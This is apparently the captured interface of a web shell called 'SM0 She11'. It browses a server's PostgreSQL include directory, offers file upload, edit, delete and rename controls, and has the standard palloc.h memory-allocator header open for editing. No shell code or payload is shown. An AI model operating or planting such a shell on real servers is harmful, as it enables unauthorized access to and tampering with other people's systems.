SM0 She11
Path:
/
/
usr
/
include
/
pgsql
/
server
/
utils
Full Path (server): /usr/include/pgsql/server/utils
Create Fil3
Upl04d Fil3
📄 acl.h
[E]
[D]
[R]
📄 array.h
[E]
[D]
[R]
📄 ascii.h
[E]
[D]
[R]
📄 attoptcache.h
[E]
[D]
[R]
📄 builtins.h
[E]
[D]
[R]
📄 bytea.h
[E]
[D]
[R]
📄 cash.h
[E]
[D]
[R]
📄 catcache.h
[E]
[D]
[R]
📄 combocid.h
[E]
[D]
[R]
📄 date.h
[E]
[D]
[R]
📄 datetime.h
[E]
[D]
[R]
📄 datum.h
[E]
[D]
[R]
📄 dynahash.h
[E]
[D]
[R]
📄 dynamic_loader.h
[E]
[D]
[R]
📄 elog.h
[E]
[D]
[R]
📄 errcodes.h
[E]
[D]
[R]
📄 fmgroids.h
[E]
[D]
[R]
📄 fmgrtab.h
[E]
[D]
[R]
📄 formatting.h
[E]
[D]
[R]
📄 geo_decls.h
[E]
[D]
[R]
📄 guc.h
[E]
[D]
[R]
📄 guc_tables.h
[E]
[D]
[R]
📄 help_config.h
[E]
[D]
[R]
📄 hsearch.h
[E]
[D]
[R]
📄 inet.h
[E]
[D]
[R]
📄 int8.h
[E]
[D]
[R]
📄 inval.h
[E]
[D]
[R]
📄 json.h
[E]
[D]
[R]
📄 logtape.h
[E]
[D]
[R]
📄 lsyscache.h
[E]
[D]
[R]
📄 memutils.h
[E]
[D]
[R]
📄 nabstime.h
[E]
[D]
[R]
📄 numeric.h
[E]
[D]
[R]
📄 palloc.h
[E]
[D]
[R]
📄 pg_crc.h
[E]
[D]
[R]
📄 pg_crc_tables.h
[E]
[D]
[R]
📄 pg_locale.h
[E]
[D]
[R]
📄 pg_lzcompress.h
[E]
[D]
[R]
📄 pg_rusage.h
[E]
[D]
[R]
📄 plancache.h
[E]
[D]
[R]
📄 portal.h
[E]
[D]
[R]
📄 probes.h
[E]
[D]
[R]
📄 ps_status.h
[E]
[D]
[R]
📄 rangetypes.h
[E]
[D]
[R]
📄 rbtree.h
[E]
[D]
[R]
📄 rel.h
[E]
[D]
[R]
📄 relcache.h
[E]
[D]
[R]
📄 relmapper.h
[E]
[D]
[R]
📄 reltrigger.h
[E]
[D]
[R]
📄 resowner.h
[E]
[D]
[R]
📄 selfuncs.h
[E]
[D]
[R]
📄 snapmgr.h
[E]
[D]
[R]
📄 snapshot.h
[E]
[D]
[R]
📄 sortsupport.h
[E]
[D]
[R]
📄 spccache.h
[E]
[D]
[R]
📄 syscache.h
[E]
[D]
[R]
📄 timestamp.h
[E]
[D]
[R]
📄 tqual.h
[E]
[D]
[R]
📄 tuplesort.h
[E]
[D]
[R]
📄 tuplestore.h
[E]
[D]
[R]
📄 typcache.h
[E]
[D]
[R]
📄 tzparser.h
[E]
[D]
[R]
📄 uuid.h
[E]
[D]
[R]
📄 varbit.h
[E]
[D]
[R]
📄 xml.h
[E]
[D]
[R]
Editing: palloc.h
/*------------------------------------------------------------------------- * * palloc.h * POSTGRES memory allocator definitions. * * This file contains the basic memory allocation interface that is * needed by almost every backend module. It is included directly by * postgres.h, so the definitions here are automatically available * everywhere. Keep it lean! * * Memory allocation occurs within "contexts". Every chunk obtained from * palloc()/MemoryContextAlloc() is allocated within a specific context. * The entire contents of a context can be freed easily and quickly by * resetting or deleting the context --- this is both faster and less * prone to memory-leakage bugs than releasing chunks individually. * We organize contexts into context trees to allow fine-grain control * over chunk lifetime while preserving the certainty that we will free * everything that should be freed. See utils/mmgr/README for more info. * * * Portions Copyright (c) 1996-2012, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * src/include/utils/palloc.h * *------------------------------------------------------------------------- */ #ifndef PALLOC_H #define PALLOC_H /* * Type MemoryContextData is declared in nodes/memnodes.h. Most users * of memory allocation should just treat it as an abstract type, so we * do not provide the struct contents here. */ typedef struct MemoryContextData *MemoryContext; /* * CurrentMemoryContext is the default allocation context for palloc(). * We declare it here so that palloc() can be a macro. Avoid accessing it * directly! Instead, use MemoryContextSwitchTo() to change the setting. */ extern PGDLLIMPORT MemoryContext CurrentMemoryContext; /* * Fundamental memory-allocation operations (more are in utils/memutils.h) */ extern void *MemoryContextAlloc(MemoryContext context, Size size); extern void *MemoryContextAllocZero(MemoryContext context, Size size); extern void *MemoryContextAllocZeroAligned(MemoryContext context, Size size); #define palloc(sz) MemoryContextAlloc(CurrentMemoryContext, (sz)) #define palloc0(sz) MemoryContextAllocZero(CurrentMemoryContext, (sz)) /* * The result of palloc() is always word-aligned, so we can skip testing * alignment of the pointer when deciding which MemSet variant to use. * Note that this variant does not offer any advantage, and should not be * used, unless its "sz" argument is a compile-time constant; therefore, the * issue that it evaluates the argument multiple times isn't a problem in * practice. */ #define palloc0fast(sz) \ ( MemSetTest(0, sz) ? \ MemoryContextAllocZeroAligned(CurrentMemoryContext, sz) : \ MemoryContextAllocZero(CurrentMemoryContext, sz) ) extern void pfree(void *pointer); extern void *repalloc(void *pointer, Size size); /* * MemoryContextSwitchTo can't be a macro in standard C compilers. * But we can make it an inline function if the compiler supports it. * * This file has to be includable by some non-backend code such as * pg_resetxlog, so don't expose the CurrentMemoryContext reference * if FRONTEND is defined. */ #if defined(USE_INLINE) && !defined(FRONTEND) static inline MemoryContext MemoryContextSwitchTo(MemoryContext context) { MemoryContext old = CurrentMemoryContext; CurrentMemoryContext = context; return old; } #else extern MemoryContext MemoryContextSwitchTo(MemoryContext context); #endif /* USE_INLINE && !FRONTEND */ /* * These are like standard strdup() except the copied string is * allocated in a context, not with malloc(). */ extern char *MemoryContextStrdup(MemoryContext context, const char *string); #define pstrdup(str) MemoryContextStrdup(CurrentMemoryContext, (str)) extern char *pnstrdup(const char *in, Size len); #if defined(WIN32) || defined(__CYGWIN__) extern void *pgport_palloc(Size sz); extern char *pgport_pstrdup(const char *str); extern void pgport_pfree(void *pointer); #endif #endif /* PALLOC_H */
Save